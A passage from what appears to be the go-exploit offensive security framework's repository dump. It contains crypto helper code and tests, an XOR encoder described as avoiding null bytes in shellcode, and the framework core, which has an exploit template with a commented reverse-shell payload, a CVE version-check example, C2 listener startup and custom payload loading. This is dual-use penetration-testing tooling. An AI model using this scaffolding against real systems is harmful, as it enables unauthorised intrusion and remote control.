plaintext\")\n\t}\n}\n\nfunc TestAESGCMTampered(t *testing.T) {\n\tkey := make([]byte, 32)\n\tif _, err := rand.Read(key); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tciphertext, ok := encryption.AESGCMEncrypt([]byte(\"secret\"), key)\n\tif !ok {\n\t\tt.Fatal(\"encrypt failed\")\n\t}\n\n\t// Tamper with the ciphertext\n\tciphertext[len(ciphertext)-1] ^= 0xFF\n\n\t_, ok = encryption.AESGCMDecrypt(ciphertext, key)\n\tif ok {\n\t\tt.Fatal(\"decrypt of tampered ciphertext should fail\")\n\t}\n}\n\nfunc TestAESGCMBadKey(t *testing.T) {\n\tkey := make([]byte, 32)\n\tif _, err := rand.Read(key); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tciphertext, ok := encryption.AESGCMEncrypt([]byte(\"secret\"), key)\n\tif !ok {\n\t\tt.Fatal(\"encrypt failed\")\n\t}\n\n\twrongKey := make([]byte, 32)\n\tif _, err := rand.Read(wrongKey); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t_, ok = encryption.AESGCMDecrypt(ciphertext, wrongKey)\n\tif ok {\n\t\tt.Fatal(\"decrypt with wrong key should fail\")\n\t}\n}\n\nfunc TestPKCS7PadUnpadRoundtrip(t *testing.T) {\n\tdata := []byte(\"hello world\")\n\n\tpadded, ok := encryption.PKCS7Pad(data, 16)\n\tif !ok {\n\t\tt.Fatal(\"PKCS7Pad failed\")\n\t}\n\n\tunpadded, ok := encryption.PKCS7Unpad(padded, 16)\n\tif !ok {\n\t\tt.Fatal(\"PKCS7Unpad failed\")\n\t}\n\n\tif !bytes.Equal(unpadded, data) {\n\t\tt.Fatal(\"unpadded data should match original\")\n\t}\n}\n\nfunc TestAESCBCNoPadding(t *testing.T) {\n\tkey := make([]byte, 32)\n\tif _, err := rand.Read(key); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Data must be block-aligned for NoPadding.\n\tplaintext := []byte(\"0123456789abcdef\") // exactly 16 bytes\n\n\tciphertext, ok := encryption.AESCBCEncrypt(plaintext, key, encryption.NoPadding)\n\tif !ok {\n\t\tt.Fatal(\"AESCBCEncrypt with NoPadding failed\")\n\t}\n\n\tdecrypted, ok := encryption.AESCBCDecrypt(ciphertext, key, encryption.NoPadding)\n\tif !ok {\n\t\tt.Fatal(\"AESCBCDecrypt with NoPadding failed\")\n\t}\n\n\tif !bytes.Equal(decrypted, plaintext) {\n\t\tt.Fatal(\"decrypted data should match original plaintext\")\n\t}\n}\n\nfunc TestAESCBCNoPaddingUnaligned(t *testing.T) {\n\tkey := make([]byte, 32)\n\tif _, err := rand.Read(key); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Non-aligned data should fail with NoPadding.\n\tplaintext := []byte(\"not aligned\")\n\n\t_, ok := encryption.AESCBCEncrypt(plaintext, key, encryption.NoPadding)\n\tif ok {\n\t\tt.Fatal(\"NoPadding with unaligned data should fail\")\n\t}\n}\n\nfunc TestAESKeySizes(t *testing.T) {\n\tplaintext := []byte(\"test data\")\n\n\tfor _, size := range []int{16, 24, 32} {\n\t\tkey := make([]byte, size)\n\t\tif _, err := rand.Read(key); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\tct, ok := encryption.AESCBCEncrypt(plaintext, key)\n\t\tif !ok {\n\t\t\tt.Fatalf(\"AES-CBC encrypt failed with %d-byte key\", size)\n\t\t}\n\n\t\tpt, ok := encryption.AESCBCDecrypt(ct, key)\n\t\tif !ok {\n\t\t\tt.Fatalf(\"AES-CBC decrypt failed with %d-byte key\", size)\n\t\t}\n\n\t\tif !bytes.Equal(pt, plaintext) {\n\t\t\tt.Fatalf(\"roundtrip failed with %d-byte key\", size)\n\t\t}\n\n\t\tct, ok = encryption.AESGCMEncrypt(plaintext, key)\n\t\tif !ok {\n\t\t\tt.Fatalf(\"AES-GCM encrypt failed with %d-byte key\", size)\n\t\t}\n\n\t\tpt, ok = encryption.AESGCMDecrypt(ct, key)\n\t\tif !ok {\n\t\t\tt.Fatalf(\"AES-GCM decrypt failed with %d-byte key\", size)\n\t\t}\n\n\t\tif !bytes.Equal(pt, plaintext) {\n\t\t\tt.Fatalf(\"roundtrip failed with %d-byte key\", size)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "encryption/certificate.go",
    "content": "package encryption\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// GenerateCertificate creates an unsigned TLS certificate that can be used by other Go functions.\nfunc GenerateCertificate() (tls.Certificate, bool) {\n\tprivateKey, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn tls.Certificate{}, false\n\t}\n\n\ttemplate := x509.Certificate{\n\t\tSerialNumber:          big.NewInt(8),\n\t\tSubject:               pkix.Name{CommonName: random.RandLetters(12)},\n\t\tNotBefore:             time.Now(),\n\t\tNotAfter:              time.Now().Add(24 * time.Hour),\n\t\tBasicConstraintsValid: true,\n\t\tIsCA:                  true,\n\t\tKeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,\n\t\tExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},\n\t}\n\n\tcertificateBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &privateKey.PublicKey, privateKey)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn tls.Certificate{}, false\n\t}\n\n\tcertificate := tls.Certificate{\n\t\tCertificate: [][]byte{certificateBytes},\n\t\tPrivateKey:  privateKey,\n\t}\n\n\treturn certificate, true\n}\n"
  },
  {
    "path": "encryption/des.go",
    "content": "package encryption\n\nimport (\n\t\"bytes\"\n\t\"crypto/cipher\"\n\t\"crypto/des\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// PKCS5Padding pads bytes based on RFC-8018\nfunc PKCS5Padding(src []byte, blockSize int) []byte {\n\tpadding := blockSize - len(src)%blockSize\n\tpadtext := bytes.Repeat([]byte{byte(padding)}, padding)\n\n\treturn append(src, padtext...)\n}\n\n// TripleDesEncryption wraps the upstream Go des.NewTripleDESCipher but automatically sets up block size defaults and pads with PKCS#5\nfunc TripleDesEncryption(key, iv, plainText []byte) ([]byte, bool) {\n\tblock, err := des.NewTripleDESCipher(key)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn nil, false\n\t}\n\n\tblockSize := block.BlockSize()\n\torigData := PKCS5Padding(plainText, blockSize)\n\tblockMode := cipher.NewCBCEncrypter(block, iv)\n\tcryted := make([]byte, len(origData))\n\tblockMode.CryptBlocks(cryted, origData)\n\n\treturn cryted, true\n}\n"
  },
  {
    "path": "encryption/kdf.go",
    "content": "package encryption\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha512\"\n\t\"encoding/binary\"\n)\n\n// SP800-108 HMAC512 Key Derivation Function. Be sure to pass the byte length of the desired output, not bit length.\nfunc SP800108HMACSHA512(key []byte, label []byte, context []byte, outLen int) []byte {\n\thLen := sha512.Size\n\tn := (outLen + hLen - 1) / hLen\n\tout := make([]byte, 0, n*hLen)\n\n\tfor i := 1; i <= n; i++ {\n\t\th := hmac.New(sha512.New, key)\n\n\t\tvar ctr [4]byte\n\t\tbinary.BigEndian.PutUint32(ctr[:], uint32(i))\n\t\th.Write(ctr[:])\n\t\th.Write(label)\n\t\th.Write([]byte{0x00})\n\t\th.Write(context)\n\n\t\tvar l [4]byte\n\t\tbinary.BigEndian.PutUint32(l[:], uint32(outLen*8))\n\t\th.Write(l[:])\n\n\t\tout = append(out, h.Sum(nil)...)\n\t}\n\n\treturn out[:outLen]\n}\n"
  },
  {
    "path": "encryption/xor.go",
    "content": "package encryption\n\n// XOR encodes data with a repeating key.\nfunc XOR(data, key []byte) []byte {\n\tif len(key) == 0 {\n\t\treturn data\n\t}\n\n\tout := make([]byte, len(data))\n\tfor i, b := range data {\n\t\tout[i] = b ^ key[i%len(key)]\n\t}\n\n\treturn out\n}\n\n// XORByte encodes data with a single byte key.\nfunc XORByte(data []byte, key byte) []byte {\n\tout := make([]byte, len(data))\n\tfor i, b := range data {\n\t\tout[i] = b ^ key\n\t}\n\n\treturn out\n}\n"
  },
  {
    "path": "encryption/xor_test.go",
    "content": "package encryption_test\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n)\n\nfunc TestXOR(t *testing.T) {\n\tdata := []byte(\"hello world\")\n\tkey := []byte(\"key\")\n\n\tencoded := encryption.XOR(data, key)\n\tif bytes.Equal(encoded, data) {\n\t\tt.Fatal(\"XOR should produce different output\")\n\t}\n\n\tdecoded := encryption.XOR(encoded, key)\n\tif !bytes.Equal(decoded, data) {\n\t\tt.Fatal(\"XOR decode should return original data\")\n\t}\n}\n\nfunc TestXOREmptyKey(t *testing.T) {\n\tdata := []byte(\"hello\")\n\tresult := encryption.XOR(data, []byte{})\n\tif !bytes.Equal(result, data) {\n\t\tt.Fatal(\"XOR with empty key should return original data\")\n\t}\n}\n\nfunc TestXORByte(t *testing.T) {\n\tdata := []byte(\"test payload\")\n\tkey := byte(0x41)\n\n\tencoded := encryption.XORByte(data, key)\n\tif bytes.Equal(encoded, data) {\n\t\tt.Fatal(\"XORByte should produce different output\")\n\t}\n\n\tdecoded := encryption.XORByte(encoded, key)\n\tif !bytes.Equal(decoded, data) {\n\t\tt.Fatal(\"XORByte decode should return original data\")\n\t}\n}\n\nfunc TestXORNullByteAvoidance(t *testing.T) {\n\t// Shellcode with null bytes\n\tdata := []byte{0x00, 0x01, 0x02, 0x03}\n\tkey := byte(0xFF)\n\n\tencoded := encryption.XORByte(data, key)\n\tfor i, b := range encoded {\n\t\tif b == 0x00 {\n\t\t\tt.Fatalf(\"XOR encoded byte %d is still null\", i)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "framework.go",
    "content": "// Package exploit is the entrypoint for exploits developed with the go-exploit framework.\n//\n// The exploit package invokes command line parsing, handles c2, and calls into the three stages of\n// exploitation (as defined by go-exploit). In order to use this framework, implementing exploits\n// should follow this general template:\n//\n//\tpackage main\n//\n//\timport (\n//\t\t\"github.com/vulncheck-oss/go-exploit\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/c2\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/config\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/output\"\n//\t)\n//\n//\ttype MyExploit struct{}\n//\n//\tfunc generatePayload(conf *config.Config) (string, bool) {\n//\t        generated := \"\"\n//\n//\t        switch conf.C2Type {\n//\t        case c2.SimpleShellServer:\n//\t                // generated = reverse.Bash.TCPRedirection(conf.Lhost, conf.Lport) // Example\n//\t        default:\n//\t                output.PrintError(\"Invalid payload\")\n//\n//\t                return generated, false\n//\t        }\n//\n//\t        return generated, true\n//\t}\n//\n//\tfunc (sploit MyExploit) ValidateTarget(conf *config.Config) bool {\n//\t\treturn false\n//\t}\n//\n//\tfunc (sploit MyExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {\n//\t\treturn exploit.NotImplemented\n//\t}\n//\n//\tfunc (sploit MyExploit) RunExploit(conf *config.Config) bool {\n//\t\tgenerated, ok := generatePayload(conf)\n//\t \tif !ok {\n//\t     \t\treturn false\n//\t \t}\n//\t\treturn true\n//\t}\n//\n//\tfunc main() {\n//\t\tsupportedC2 := []c2.Impl{\n//\t\t\tc2.SimpleShellServer,\n//\t\t\tc2.SimpleShellClient,\n//\t\t}\n//\t\tconf := config.NewRemoteExploit(\n//\t\t\tconfig.ImplementedFeatures{AssetDetection: false, VersionScanning: false, Exploitation: false},\n//\t\t\tconfig.CodeExecution, supportedC2, \"Vendor\", []string{\"Product\"},\n//\t\t\t[]string{\"cpe:2.3:a:vendor:product\"}, \"CVE-2024-1270\", \"HTTP\", 8080)\n//\n//\t\tsploit := MyExploit{}\n//\t\texploit.RunProgram(sploit, conf)\n//\t}\npackage exploit\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/signal\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/Masterminds/semver\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/cli\"\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github.com/vulncheck-oss/go-exploit/db\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\n// The return type for CheckVersion() that represents the identified vulnerability of a target.\ntype VersionCheckType int\n\nconst (\n\t// The target is not vulnerable.\n\tNotVulnerable VersionCheckType = 0\n\t// The target is vulnerable.\n\tVulnerable VersionCheckType = 1\n\t// Based on incomplete information, the target might be vulnerable.\n\tPossiblyVulnerable VersionCheckType = 2\n\t// Something went wrong during CheckVersion().\n\tUnknown VersionCheckType = 3\n\t// CheckVersion() is not implemented.\n\tNotImplemented VersionCheckType = 4\n)\n\n// Exploit is the implementing interface for go-exploit exploits. The functions\n// are called in order: ValidateTarget, CheckVersion, RunExploit.\n//\n// # ValidateTarget\n//\n// ValidateTarget is for determining if the target is the type of software the\n// implemented exploit would like to exploit. This is to avoid throwing an exploit\n// at target would never be vulnerable. For example, if an exploit is targeting\n// Confluence, then ValidateTarget might look like the following\n//\n//\tfunc (sploit ConfluenceExploit) ValidateTarget(conf *config.Config) bool {\n//\t\turl := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, \"/\")\n//\t\tresp, _, ok := protocol.HTTPSendAndRecv(\"GET\", url, \"\")\n//\t\tif !ok {\n//\t\t\treturn false\n//\t\t}\n//\n//\t\tif resp.StatusCode != 200 {\n//\t\t\toutput.PrintfError(\"Received an unexpected HTTP status code: %d\", resp.StatusCode)\n//\n//\t\t\treturn false\n//\t\t}\n//\t\t_, ok = resp.Header[\"X-Confluence-Request-Time\"]\n//\n//\t\treturn ok\n//\t}\n//\n// Above you can see ValidateTarget returns true *only* if it finds the X-Confluence-Request-Time\n// HTTP header. The exploit will not continue on if false is returned. If true is returned then\n// it will move on to the next stage (CheckVersion).\n//\n// # CheckVersion\n//\n// CheckVersion is for determning if the target is an affected version or not. Again, to avoid\n// throwing an exploit at a target that is not vulnerable. CheckVersion is intended to be a\n// non-intrusive version check. That generally means doing things like:\n//\n//   - Extracting the version number from a login page\n//   - Examining the HTTP Last-Modified header\n//   - Looking for new functionality introduce in the patch\n//\n// For example, to check for CVE-2022-30525, you could do something like this.\n//\n//\tfunc (sploit ZyxelExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {\n//\t\turl := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, \"/\")\n//\t\tresp, bodyString, ok := protocol.HTTPSendAndRecv(\"GET\", url, \"\")\n//\t\tif !ok {\n//\t\t\treturn exploit.Unknown\n//\t\t}\n//\n//\t\tif resp.StatusCode != 200 {\n//\t\t\toutput.PrintfError(\"Received an unexpected HTTP status code: %d\", resp.StatusCode)\n//\n//\t\t\treturn exploit.Unknown\n//\t\t}\n//\n//\t\tif !strings.Contains(bodyString, \"zyFunction.js\") {\n//\t\t\toutput.PrintError(\"The HTTP response did not contain an expected JavaScript include\")\n//\n//\t\t\treturn exploit.Unknown\n//\t\t}\n//\n//\t\tre := regexp.MustCompile(`src=\"/ext-js/app/common/zyFunction.js\\?v=([0-9]+)\"></script>`)\n//\t\tres := re.FindAllStringSubmatch(bodyString, -1)\n//\t\tif len(res) == 0 {\n//\t\t\toutput.PrintError(\"Could not extract the build date from the target\")\n//\n//\t\t\treturn exploit.Unknown\n//\t\t}\n//\n//\t\toutput.PrintfStatus(\"The device has a self-reported firmware publication date of %s\", res[0][1])\n//\t\tdate64, _ := strconv.ParseInt(res[0][1], 10, 64)\n//\t\tif date64 < 220415000000 {\n//\t\t\treturn exploit.Vulnerable\n//\t\t}\n//\n//\t\treturn exploit.NotVulnerable\n//\t}\n//\n// Regardless, the goal is to avoid throwing the exploit until you are somewhat sure that it should\n// land. This cannot always be accomplished so the return of exploit.NotImplemented is always on offer,\n// and the attacker can skip this step via configuration if they please.\n//\n// # RunExploit\n//\n// RunExploit should contain the logic for exploiting the target. There is almost no requirement on this\n// function other than the attacker do their thing. The on thing the implementation should do is return\n// false if believe their attack has failed.\ntype Exploit interface {\n\tValidateTarget(conf *config.Config) bool\n\tCheckVersion(conf *config.Config) VersionCheckType\n\tRunExploit(conf *config.Config) bool\n}\n\n// For syncing c2 and exploit threads.\nvar globalWG sync.WaitGroup\n\n// doVerify is a wrapper around the implemented exploit's ValidateTarget() function. The results will\n// be logged in a parsable fashion (e.g. verified=false) and stored in the sqlite db if provided.\nfunc doVerify(sploit Exploit, conf *config.Config) bool {\n\toutput.PrintFrameworkStatus(fmt.Sprintf(\"Validating %s target\", conf.Product), \"host\", conf.Rhost, \"port\", conf.Rport)\n\n\t// first check to see if we already verified this target as specific software\n\tresult, ok := db.GetVerified(conf.Product, conf.Rhost, conf.Rport)\n\tif !ok {\n\t\t// if we couldn't query the DB (or there was an error) call down into the exploit\n\t\tresult = sploit.ValidateTarget(conf)\n\t\t// update the database with the result so we can skip it next time\n\t\tdb.UpdateVerified(conf.Product, result, \"\", conf.Rhost, conf.Rport)\n\t} else {\n\t\toutput.PrintFrameworkTrace(\"Verified software cache hit\", \"result\", result)\n\t}\n\n\tif result {\n\t\toutput.PrintFrameworkSuccess(\"Target verification succeeded!\", \"host\", conf.Rhost, \"port\", conf.Rport, \"verified\", true)\n\t} else {\n\t\toutput.PrintFrameworkStatus(\"The target isn't recognized as \"+conf.Product, \"host\", conf.Rhost, \"port\", conf.Rport, \"verified\", false)\n\t}\n\n\treturn result\n}\n\n// doVersionCheck is a wrapper around the implemented exploit's CheckVersion() function.\nfunc doVersionCheck(sploit Exploit, conf *config.Config) bool {\n\toutput.PrintFrameworkStatus(\"Running a version check on the remote target\", \"host\", conf.Rhost, \"port\", conf.Rport)\n\tresult := sploit.CheckVersion(conf)\n\tswitch result {\n\tcase NotVulnerable:\n\t\toutput.PrintFrameworkStatus(\"The target appears to be a patched version.\", \"host\", conf.Rhost, \"port\", conf.Rport, \"vulnerable\", \"no\")\n\n\t\treturn false\n\tcase Vulnerable:\n\t\toutput.PrintFrameworkSuccess(\"The target appears to be a vulnerable version!\", \"host\", conf.Rhost, \"port\", conf.Rport, \"vulnerable\", \"yes\")\n\tcase PossiblyVulnerable:\n\t\toutput.PrintFrameworkSuccess(\"The target *might* be a vulnerable version. Continuing.\", \"host\", conf.Rhost, \"port\", conf.Rport, \"vulnerable\", \"possibly\")\n\tcase Unknown:\n\t\toutput.PrintFrameworkStatus(\"The result of the version check returned an unknown state.\", \"host\", conf.Rhost, \"port\", conf.Rport, \"vulnerable\", \"unknown\")\n\n\t\treturn false\n\tcase NotImplemented:\n\t\toutput.PrintFrameworkStatus(\"This exploit has not implemented a version check\", \"host\", conf.Rhost, \"port\", conf.Rport, \"vulnerable\", \"notimplemented\")\n\t}\n\n\treturn true\n}\n\n// Automatically determine if the remote target is using SSL or not. This *does* work\n// even if a proxy is configured. This can be slow when dealing with non-SSL\n// targets that don't respond to the handshake attempt, but it seems a reasonable trade-off.\n// return bool (connected), bool (ssl).\nfunc determineServerSSL(rhost string, rport int) (bool, bool) {\n\tconn, ok := protocol.TCPConnect(rhost, rport)\n\tif !ok {\n\t\treturn false, false\n\t}\n\tdefer conn.Close()\n\n\ttlsConn := tls.Client(conn, &tls.Config{InsecureSkipVerify: true})\n\t_ = tlsConn.SetReadDeadline(time.Now().Add(10 * time.Second))\n\terr := tlsConn.Handshake()\n\n\treturn true, err == nil\n}\n\n// Invokes command line parsing based on the type of exploit that was implemented.\nfunc parseCommandLine(conf *config.Config) bool {\n\tswitch conf.ExType {\n\tcase config.CodeExecution:\n\t\treturn cli.CodeExecutionCmdLineParse(conf)\n\tcase config.InformationDisclosure:\n\t\treturn cli.InformationDisclosureCmdLineParse(conf)\n\tcase config.Webshell:\n\t\treturn cli.WebShellCmdLineParse(conf)\n\tcase config.FileFormat:\n\t\treturn cli.FormatFileCmdLineParse(conf)\n\tcase config.Local:\n\t\treturn cli.LocalCmdLineParse(conf)\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Invalid exploit type provided.\")\n\n\t\treturn false\n\t}\n}\n\n// Manually start the C2 server. This is used when Config.C2AutoStart is\n// disabled and for when you may not want to start the server until\n// another action is complete.\nfunc StartC2(conf *config.Config) bool {\n\treturn startC2Server(conf)\n}\n\nfunc startC2Server(conf *config.Config) bool {\n\tif conf.DoExploit && !conf.ThirdPartyC2Server && conf.Bport == 0 &&\n\t\t(conf.ExType != config.InformationDisclosure && conf.ExType != config.Webshell) {\n\t\tc2Impl, success := c2.GetInstance(conf.C2Type)\n\t\tif !success || c2Impl == nil {\n\t\t\treturn false\n\t\t}\n\n\t\tsigint := make(chan os.Signal, 1)\n\t\tsignal.Notify(sigint, os.Interrupt)\n\n\t\tvar shutdown atomic.Bool\n\t\tshutdown.Store(false)\n\t\tc2channel := &channel.Channel{\n\t\t\tIPAddr:   conf.Lhost,\n\t\t\tPort:     conf.Lport,\n\t\t\tIsClient: false,\n\t\t\tShutdown: &shutdown,\n\t\t}\n\t\t// Handle the signal interrupt channel. If the signal is triggered, then trigger the done\n\t\t// channel which will clean up the server and close cleanly.\n\t\tgo func(sigint <-chan os.Signal, channel *channel.Channel) {\n\t\t\t<-sigint\n\t\t\toutput.PrintfFrameworkStatus(\"Interrupt signal received\")\n\t\t\tchannel.Shutdown.Store(true)\n\t\t}(sigint, c2channel)\n\n\t\tsuccess = c2Impl.Init(c2channel)\n\t\tif !success {\n\t\t\treturn false\n\t\t}\n\n\t\tglobalWG.Add(1)\n\t\tgo func() {\n\t\t\tdefer globalWG.Done()\n\t\t\tc2Impl.Run(conf.C2Timeout)\n\t\t\toutput.PrintFrameworkStatus(\"C2 server exited\")\n\t\t}()\n\t}\n\n\treturn true\n}\n\n// execute verify, version check, and exploit. Return false if an unrecoverable error occurred.\n//\n//nolint:gocognit\nfunc doScan(sploit Exploit, conf *config.Config) bool {\n\t// autodetect if the target is using SSL or not\n\tif conf.DetermineSSL {\n\t\tconnected, sslEnabled := determineServerSSL(conf.Rhost, conf.Rport)\n\t\tif !connected {\n\t\t\treturn true\n\t\t}\n\t\tconf.SSL = sslEnabled\n\t}\n\n\tif conf.DoVerify {\n\t\tif !doVerify(sploit, conf) {\n\t\t\t// C2 cleanup is meaningless with third party C2s\n\t\t\tif !conf.ThirdPartyC2Server {\n\t\t\t\t// Shuts down the C2 if verification fails\n\t\t\t\tc, ok := c2.GetInstance(conf.C2Type)\n\t\t\t\tif !ok {\n\t\t\t\t\toutput.PrintFrameworkError(\"Could not get C2 configuration\")\n\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tc.Shutdown()\n\t\t\t}\n\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif conf.DoVersionCheck {\n\t\tif !doVersionCheck(sploit, conf) {\n\t\t\t// C2 cleanup is meaningless with third party C2s\n\t\t\tif !conf.ThirdPartyC2Server {\n\t\t\t\t// Shuts down the C2 if version check fails\n\t\t\t\tc, ok := c2.GetInstance(conf.C2Type)\n\t\t\t\tif !ok {\n\t\t\t\t\toutput.PrintFrameworkError(\"Could not get C2 configuration\")\n\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tc.Shutdown()\n\t\t\t}\n\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif conf.DoExploit {\n\t\t// execute exploit attempts on a new thread\n\t\tglobalWG.Add(1)\n\t\tgo func() {\n\t\t\tdefer globalWG.Done()\n\t\t\tok := sploit.RunExploit(conf)\n\t\t\tif ok {\n\t\t\t\toutput.PrintFrameworkSuccess(\"Exploit successfully completed\", \"exploited\", true)\n\t\t\t} else {\n\t\t\t\toutput.PrintFrameworkStatus(\"Exploit exited with an error\", \"exploited\", false)\n\t\t\t}\n\t\t}()\n\n\t\t// if the \"c2\" connects to a bindshell, call init to update the rhost/bport\n\t\t// and then attempt to connect\n\t\tif !conf.ThirdPartyC2Server && conf.Bport != 0 {\n\t\t\tc2Impl, success := c2.GetInstance(conf.C2Type)\n\t\t\tif !success || c2Impl == nil {\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tsuccess = c2Impl.Init(&channel.Channel{\n\t\t\t\tIPAddr:   conf.Rhost,\n\t\t\t\tPort:     conf.Bport,\n\t\t\t\tIsClient: true,\n\t\t\t})\n\t\t\tif !success {\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tglobalWG.Add(1)\n\t\t\tgo func() {\n\t\t\t\tdefer globalWG.Done()\n\t\t\t\tc2Impl.Run(conf.C2Timeout)\n\t\t\t\toutput.PrintFrameworkStatus(\"C2 client exited\")\n\t\t\t}()\n\t\t}\n\t}\n\n\treturn true\n}\n\n// Prints the version to the log file using status VERSION and a parsable version string (version=).\n// Additionally, updates the database if it's in use. Typically should be called from the exploit.\nfunc StoreVersion(conf *config.Config, version string) {\n\toutput.PrintVersion(\"The reported version is \"+version, conf.Rhost, conf.Rport, version)\n\tdb.UpdateVerified(conf.Product, true, version, conf.Rhost, conf.Rport)\n}\n\n// Compare a version to a semantic version constraint using the [Masterminds semver constraints](https://github.com/Masterminds/semver?tab=readme-ov-file#checking-version-constraints).\n// Provide a version string and a constraint and if the semver is within the constraint a boolean\n// response of whether the version is constrained or not will occur. Any errors from the constraint\n// or version will propagate through the framework errors and the value will be false.\n//\n// Deprecated: The location of the version checking in this package made little sense, with the\n// addition of the search package this function should be used from that package.\nfunc CheckSemVer(version string, constraint string) bool {\n\tc, err := semver.NewConstraint(constraint)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Invalid constraint: %s\", err.Error())\n\n\t\treturn false\n\t}\n\tv, err := semver.NewVersion(version)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Invalid version: %s\", err.Error())\n\n\t\treturn false\n\t}\n\n\treturn c.Check(v)\n}\n\n// modify godebug to re-enable old cipher suites that were removed in 1.22. This does have implications for our\n// client fingerprint, and we should consider how to improve/fix that in the future. We also should be respectful\n// of other disabling this feature, so we will check for it before re-enabling it.\nfunc updateGoDebug() {\n\tcurrentGODEBUG := os.Getenv(\"GODEBUG\")\n\tif strings.Contains(currentGODEBUG, \"tlsrsakex\") {\n\t\t// do nothing\n\t\treturn\n\t}\n\tif len(currentGODEBUG) == 0 {\n\t\tos.Setenv(\"GODEBUG\", \"tlsrsakex=1\")\n\t} else {\n\t\t// append our new setting to the end\n\t\tcurrentGODEBUG += \",tlsrsakex=1\"\n\t\tos.Setenv(\"GODEBUG\", currentGODEBUG)\n\t}\n}\n\nfunc addPayloadMetadata(conf *config.Config) {\n\tcmd := conf.StringFlagsMap[\"command\"]\n\tp := conf.StringFlagsMap[\"payload\"]\n\tif p != nil && cmd != nil {\n\t\tif *p != \"\" && *cmd != \"\" {\n\t\t\toutput.PrintFrameworkError(\"Both `-command` and `-payload` cannot be set at the same time.\")\n\n\t\t\treturn\n\t\t}\n\t}\n\tpayloadType := conf.StringFlagsMap[\"payload-type\"]\n\tif payloadType != nil {\n\t\tp := payload.TypeFromString(*payloadType)\n\t\tif p == payload.UnspecifiedType {\n\t\t\toutput.PrintfFrameworkError(\"payload type not supported: %s\", *payloadType)\n\n\t\t\treturn\n\t\t}\n\t\tfor _, t := range conf.SupportedPayloads {\n\t\t\tif t.Type == p {\n\t\t\t\tconf.SelectedPayload = t\n\t\t\t}\n\t\t}\n\t}\n\tif cmd != nil {\n\t\tif *cmd != \"\" {\n\t\t\tconf.CustomPayload = []byte(*cmd)\n\t\t}\n\t}\n\tif p != nil {\n\t\tswitch conf.SelectedPayload.Type {\n\t\tcase payload.LinuxSO,\n\t\t\tpayload.LinuxELF,\n\t\t\tpayload.WindowsEXE,\n\t\t\tpayload.WindowsDLL,\n\t\t\tpayload.Webshell:\n\t\t\tif *p == \"\" {\n\t\t\t\toutput.PrintError(\"Selected payload type requires `-payload` to be used\")\n\n\t\t\t\treturn\n\t\t\t}\n\t\tcase payload.GenericCommand,\n\t\t\tpayload.WindowsPowerShellCommand,\n\t\t\tpayload.WindowsCommand,\n\t\t\tpayload.MacCommand,\n\t\t\tpayload.LinuxCommand:\n\t\tcase payload.UnspecifiedType:\n\t\t\toutput.PrintFrameworkError(\"Unspecified payload type used\")\n\t\tdefault:\n\t\t}\n\t\tif *p != \"\" {\n\t\t\td, err := os.ReadFile(*p)\n\t\t\tif err != nil {\n\t\t\t\toutput.PrintfFrameworkError(\"Could not read custom payload '%s': %s\", *p, err.Error())\n\n\t\t\t\treturn\n\t\t\t}\n\t\t\tconf.CustomPayload = d\n\t\t}\n\t}\n\tif payloadType != nil {\n\t\toutput.PrintfFrameworkDebug(\"selecting payload type: %s\", *payloadType)\n\t}\n}\n\n// Effectively the package main function. Parses configuration, starts command and control,\n// controls which targets are scanned, initiates call down into the exploits implementation\n// and is ultimately responsible for waiting for all c2 and attack threads to finish.\n//\n// This function also runs `flag.Parse()` so any defined flags will be parsed when RunProgram\n// is called.\n//\n// This function should be called by the implementing exploit, likely in the main function.\nfunc RunProgram(sploit Exploit, conf *config.Config) {\n\tupdateGoDebug()\n\tif 